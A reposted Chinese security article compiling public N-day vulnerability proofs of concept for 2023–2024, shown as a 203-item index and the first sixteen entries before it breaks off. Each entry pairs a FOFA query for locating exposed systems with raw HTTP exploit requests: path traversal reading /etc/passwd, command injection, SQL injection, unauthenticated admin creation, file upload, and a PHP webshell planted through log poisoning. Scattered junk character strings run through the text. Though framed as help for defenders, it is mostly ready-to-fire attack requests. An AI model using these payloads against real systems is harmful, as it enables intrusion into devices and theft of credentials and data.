互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
% o7 Y/ F4 |& u+ s. g: L
发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
# Y3 f! G0 i" T% J: U2 b* S
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
5 r0 |) l' x5 W+ ?0 s+ `. Y
安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

  d3 u+ o5 ^8 u% U. Q合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

% E7 s1 t1 ?1 {5 y, f) w
2 K# M; j3 C$ X+ \$ @8 K) P; q7 K声明
+ I: R7 d( B9 P/ z
( ?0 [5 s' v- [& G为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

" d% d0 r% q8 M* J& Z3 l$ U& V6 m有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。



3 ?' i$ A: T& e  `目录
$ f8 f% h! L2 J5 ]. l2 ?
) ~5 ?5 t) }6 x$ n: E  c01
! i9 V1 j: f  N4 M" p
# ^0 a: E0 o: V6 ?2 r% C' K1. StarRocks MPP数据库未授权访问
- w( i; n6 R2 }  W8 Q  S/ g$ j2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
/ |5 h5 l1 I+ y% |1 U; K6 a4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
0 e- V2 ~8 a, O0 I7 ?( s8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
. R- @' l; U" }8 h( Z12. Jorani < 1.0.2 远程命令执行
9 j: t2 A* ]: `5 u5 ]13. 红帆iOffice ioFileDown任意文件读取
# G  U/ l" f% _4 u' i14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
/ ^  ^5 L# j4 W3 a& ?$ V18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
4 \( A# e6 ~9 o$ ?7 N6 P20. 大华ICC智能物联综合管理平台任意文件读取
- t/ P3 Q5 `1 I* u5 Y9 y21. 大华ICC智能物联综合管理平台random远程代码执行
) _3 A. N1 Q# o22. 大华ICC智能物联综合管理平台 log4j远程代码执行
9 t8 e) R( n+ x& D3 \; b3 e23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
5 r; p8 A! |# f* \4 _. w. ~! D27. 用友 NC showcontent SQL注入
5 l& }8 ]$ f3 k# o3 W, p5 q: I28. 用友NC grouptemplet 任意文件上传
+ R1 J7 X+ H% S5 x4 U; ?7 h' J29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
8 H# f0 i9 ?$ v: x: H31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
2 x. r' U  E' x8 Y34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
, g, y( j3 J+ ?8 J37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
5 d4 ]  i$ Y4 _( ]" R43. 用友GRP-U8 userInfoWeb SQL注入致RCE
3 w" r5 v; M0 T. K) `5 I) O$ _44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
! F8 g7 s) @" X4 y7 O$ g51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
: Q& [9 h& i/ n& e6 D* |62. IP-guard WebServer 远程命令执行
, q/ f7 |. ~  {6 w1 N+ ?63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
* }6 S( z& [+ |8 @3 \) ]68. 万户ezOFFICE wf_printnum.jsp SQL注入
  N+ X" l; K( ]" r0 ~7 {& Q" q69. 万户 ezOFFICE contract_gd.jsp SQL注入
/ n1 d& W9 u9 f5 E+ A70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
' G" ~, e" l/ v; m72. 致远OA getAjaxDataServlet XXE
: w5 d1 Q, L" R73. GeoServer wms远程代码执行
. F" b: F5 c; U5 v8 B$ @$ v4 r74. 致远M3-server 6_1sp1 反序列化RCE
" s1 Q* E. O9 j+ ^1 A  K5 |75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
: |0 v& F; ~, H) L, n, p$ x2 j" u76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
. |  n5 _2 `1 K7 Z79. BYTEVALUE 百为流控路由器远程命令执行
4 c* X3 K4 u3 q1 i80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
" R1 f; ~# w7 Y% q) Q* a: D; ~83. JeecgBoot testConnection 远程命令执行
+ g6 e9 N3 a5 L* ~1 X7 b; R84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
' Y$ s, J* A4 ?% F85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
: j& B& Q8 n9 {7 l87. 安恒明御安全网关aaa_local_web_preview文件上传
0 ], o; x) ~& u/ J! m88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
2 N3 q! U( L( K/ F& |! D9 A0 f' q89. 致远互联FE协作办公平台editflow_manager存在sql注入
6 g4 H0 {/ \: j2 v0 M90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
  X( v  N9 F! E4 S# G91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
1 C! t3 Z! c2 T& _) W4 b6 v92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
: _' v1 i; s# ^- y- J: w) R96. Apache OFBiz  18.12.11 groovy 远程代码执行
' U9 i, }6 `/ z1 ]2 i, C97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
$ X$ \" w& y5 y! m100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
6 D+ ]$ P) Z" r9 m" Y% C/ [104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
- K- S* i0 [/ {4 K# v. V107. SpringBlade tenant/list SQL 注入
2 E! m+ m0 E. M$ x108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
6 D6 Q3 ?+ K  v7 t3 M2 m+ V) P( Q111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
- c) B2 K* Y! t# H7 p( X( ]8 I114. WordPress MasterStudy LMS插件 SQL注入
- h/ S( s$ S1 m+ a* i115. WordPress Bricks Builder <= 1.9.6 RCE
7 n, l  ?* S) Z# [/ Y4 I116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
$ i! q% e' ?6 W! `4 l# m118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
/ C0 i8 Q. T5 H; x, F; i. c* d# \; a119. 北京百绰智能S20后台sysmanageajax.php sql注入
9 X( s( f: C1 v: Z" ]! }120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
' f& _$ `) x: r123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
+ m% ?! D& m/ f6 I125. ConnectWise ScreenConnect身份验证绕过
1 Y- ^2 l$ C9 c9 {# u126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
% s, ^- \- _% L" E3 ?, t" R128. Adobe ColdFusion 反序列化
* B: f0 I/ E2 a  f+ R: T129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
' N; b% N: S+ s5 A- Z# W134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
- }4 d8 y- D9 B9 t- ~3 l( }137. 福建科立迅通信指挥调度平台down_file.php sql注入
: |, M" h& {$ E138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
$ p+ I2 K1 Y& v140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
3 C# c9 o& A4 Y5 l+ e3 Q+ _141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
3 e" Z4 ~( B" r' Z, d1 `( H142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
; s/ o% P1 s$ o2 d9 r/ t) }1 y144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
+ s# ]" W- u! D# p; P$ e147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
7 V6 J& K" }3 ^  S+ R( R148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
3 W: h4 y3 Q' o( l# @) Q150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
. T3 p5 ~, H5 z5 z* I152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
$ \9 P# @! p" m7 [! J154. 天维尔消防救援作战调度平台 SQL注入
2 X( B5 L% J2 d6 V4 t  ^# e0 w! K" m155. 六零导航页 file.php 任意文件上传
* A" |# y5 K$ ~& t7 N156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
& F/ ?% X$ u" ~: \8 [159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
' H, |  |- s; F+ V+ [' J7 O160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
! c8 \5 l& M; D* P4 b7 j162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
+ \" Z4 ?% g& l$ e. F4 Z165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
; t% {7 U" D7 r( \4 O# n3 H4 u167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
- M' o6 i. n; z9 `172. DT-高清车牌识别摄像机任意文件读取
; P" j, e2 Y1 C173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
! A% N  `: [$ D  ]  N176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
' |' @; @6 T* E5 m4 X178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
& f+ _4 H& d% K6 k" l: D" n5 S180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
0 s2 L. @4 R: f+ P. t9 t5 {: E185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
* v5 S* Z' e* k9 t* M190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
4 \  @, F0 T  {3 ~! V' V' ~193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
. A8 c6 f- P9 ]1 K1 k' z195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
8 j2 u5 n9 C  v: o4 _* z197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
" S, H9 C" _; e% s  u198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
: v/ [7 S( y& s6 s. d( J+ ]2 M200. SeaCMS海洋影视管理系统dmku SQL注入
& `$ s' J6 X/ B& M1 W8 A" B201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
. |. V4 P9 }+ T: ]203. 红海云EHR PtFjk 文件上传
! @, ?$ t. `* G
2 G$ N" U/ D( h" V# O$ g( b. }9 yPOC列表
# C. R/ z' f0 j4 {
02
$ {4 c2 r! K0 Q2 g
1. StarRocks MPP数据库未授权访问
! |) d+ M7 @. A  N! C! ?! M" H- KFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
% e6 U' g$ g5 {8 R3 H  nHost: URL
' Y- b8 ]/ d/ c$ K/ F/ g+ }: {
" R, ~5 Y* u. g
" \+ w& e- m+ w! Q8 J* c* ]2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
' i7 H3 m: c$ U6 X! V# r6 hGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
( L% _& C4 M7 J$ }Host: xx.xx.xx.xx:9999
1 U$ M5 V7 c; p: t1 u; f6 K1 xUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
# ?1 I9 k& \8 c2 n& TConnection: close
Accept: */*
% L! a+ ]) w* f) U0 K( G/ iAccept-Language: en
5 L( {1 H, _1 J+ Z1 b9 o0 s' iAccept-Encoding: gzip

6 u" i2 y- I, \0 n5 @- E
4 a# p7 l6 P  t& C) x/ [8 X3. EasyCVR智能边缘网关 userlist 信息泄漏
* ]" I! v5 d+ q+ V, F! KFOFA ：title="EasyCVR"
' ^* w6 m" V) `0 ~! }' LGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
9 i2 f# }! s- C( Q1 J2 _! U2 [0 }1 \

( F# i0 B: `0 F# I, [8 u4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
& q) L2 c& q, mContent-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

; q6 t7 d* o7 G+ p
5. NUUO NVR 视频存储管理设备远程命令执行
% K( Q- Z/ X1 f& _8 tFOFA：title="Network Video Recorder Login"
4 P; N3 h3 b- Y7 w, H; \GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
* ~* L" ^- d1 v4 q5 c! s
) r' Q( V9 w9 P  I7 X$ R
' Z# T9 \% L* `1 [5 T6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
& [2 Y6 _+ O9 J5 u9 l. n3 T( l0 y
/ Q2 @6 E" n- ~  _6 R
7. 鸿运主动安全监控云平台任意文件下载
5 G# G/ o& X( q& PFOFA：body="./open/webApi.html"
% w3 [. p4 _& F8 OGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:

$ \6 r6 n  }1 C9 k  B) k& q+ Z, Z
8. 斐讯 Phicomm 路由器RCE
- ~6 F* V8 c" C$ q2 c  sFOFA：icon_hash="-1344736688"
& X% Q% N1 a4 E- ^默认账号admin登录后台后，执行操作
: s2 O( \* a, j" `' FPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
! x; H5 k" b3 D# d9 G, rContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
$ K6 {' ]0 E1 I7 `6 ZUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
+ k  Z* ]( N/ B% _9 w
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
: K6 d: q) U# }( n+ O! K; l' m- \* G
%s
/ R' ^4 t% F4 e+ Z------WebKitFormBoundaryxbgjoytz
8 {- j3 n, W( n/ jContent-Disposition: form-data; name="wifiRebootrange"
: o; p" j6 ]) c# r7 w) ~/ ]$ q
5 h3 U7 e/ Y! t7 p4 F- {12:00; id;
) P5 X% P  R) }2 }------WebKitFormBoundaryxbgjoytz
' {% T. Y1 w+ l, c" s6 oContent-Disposition: form-data; name="wifiRebootendrange"

3 m! }  a8 u5 h7 z& A4 }%s:
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
; I5 [" G4 G) @( e5 @. L
6 L! t" b2 d# p) {
9 B- L. [: k- a2 p+ }# r) s------WebKitFormBoundaryxbgjoytz--

$ V! c  W: o, _  L1 q
9. 稻壳CMS keyword 未授权SQL注入
. O) F' Q) V8 X/ d. a2 z& kFOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
& b% T+ N7 T: H  c# Q

payload为下列语句的二次Url编码
' f! C$ A7 Y7 d
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

: ]# k$ O7 i4 P9 T4 l! p10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

1 Z# |; T7 D. X% f$ n  v& n- t4 V文件上传后响应中包含上传文件的路径
9 c0 [0 N. @% |4 @7 h; v) o6 @# vPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
. r' x( s: G1 b/ yContent-Length: 197
  W+ F) F4 y* n, [6 V8 C& PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7 O, q1 Z) i' Z9 Q$ h7 }4 j9 BAccept-Encoding: gzip, deflate
* b3 A7 F, X2 z' D+ W9 o! B) JAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
! p8 b% u- p' g* u
% a! ^+ I1 W, O4 x& _* J4 J------WebKitFormBoundaryxdgaqmqu
$ S1 S- C7 q8 D* r9 n7 I% p& fContent-Disposition: form-data; name="file"filename="icfitnya.txt"
. K7 V" _; m$ o4 s' X- u; J: A; k0 \Content-Type: text/html
- o2 \* Y' N3 U! Z9 A4 `0 Z
& [% w/ V$ a8 {jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--


11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
" r' ?( A' i0 q6 A; U  zFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
/ z; ?1 j# h7 y6 ~$ tGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
/ i2 E. t' O1 o( D* `* t+ vHost: 127.0.0.1
Pragma: no-cache
4 I& ^$ I1 T& ~5 R0 Z6 M$ GCache-Control: no-cache
/ C, b) ?0 O  k/ O( W( wUpgrade-Insecure-Requests: 1
& H3 `! f$ k! Z+ z/ RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
7 V% {% R2 V1 D1 k1 l  @5 LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 ^6 g8 H7 _8 [) [% X2 JAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

- M: v" Q0 {; H5 i9 h
12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
: z- i- L5 v3 I3 K; SUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip


响应中csrf_cookie_jorani用于后续请求
& V) C7 o0 U6 `$ R/ _+ I' n3 u6 hHTTP/1.1 200 OK
# |# e* c; h% \) e8 NConnection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
. c( b; z  f! @, n4 B7 x  VPragma: no-cache
; i4 n9 ?; k, O; |Server: Apache/2.4.54 (Debian)
( Z, V8 ~+ R4 D. G1 h1 d# Y* o% U3 g! tSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
8 v$ \& {. g" u1 c  C6 O% ^Vary: Accept-Encoding
  |" Q: q1 S0 ~* Q
9 O2 ?* C; k8 Y0 K4 I
# x' C  L# p, ]% |) V0 w, \POST请求，执行函数并进行base64编码
1 K. Q, b# ?6 FPOST /session/login HTTP/1.1
4 w6 c' ]0 w" t1 F- J, J) QHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
. F7 ]4 W8 \2 x: d6 O) BConnection: close
/ \6 T7 n# W4 N5 `" c/ C; dContent-Length: 252
  T/ X$ N0 P- AContent-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

1 z5 q! [3 M' P3 Lcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

% C; V5 Q8 ~7 M9 d( s

. k; k+ `- t: a9 r向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
+ \* q3 Y5 f) b- I- `" C; t$ s: hHost: 192.168.190.30
& h, b5 I, b' a. J8 V. G& qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
1 ~" S. L$ P; P- F$ ^K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip

9 t2 J( x4 {& K4 ?: C7 u6 t, I- h
13. 红帆iOffice ioFileDown任意文件读取
' w, b4 ^$ X# o0 ~" \; BFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
" Z' g/ v3 u# G7 o1 t0 _User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
$ F1 L& [) U, h/ gAccept: */*
Accept-Encoding: gzip
5 S/ \* a3 l9 @9 C

14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
3 A! p, t7 H* mGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
+ z- O& w& R$ V9 J* s: S7 oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
  f, w  I- q( D' \Accept-Encoding: gzip


: E' }9 P- z. t15. 华夏ERP getAllList信息泄露
& Z1 I( w0 c+ ^2 |* WCVE-2024-0490
; o; u% ^3 P4 z- U& H  uFOFA：body="jshERP-boot"
  o  L/ I5 h& U2 f1 p, ]* l! {3 O- |泄露内容包括用户名密码
1 k4 \$ O' E1 _2 qGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
$ i  U, Y: I- H# E# V( pHost: 192.168.40.130:100
! K. v/ v6 G0 z* O3 M: j# MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
, k% K% n3 E% p: }% @2 }Connection: close
$ U6 E- O! l# ?5 qAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
4 f% F* t# u4 T1 JAccept-Language: en
sec-ch-ua-platform: Windows
, L5 t+ c% B, nAccept-Encoding: gzip

5 E# [3 k0 ^/ k  z  F
16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
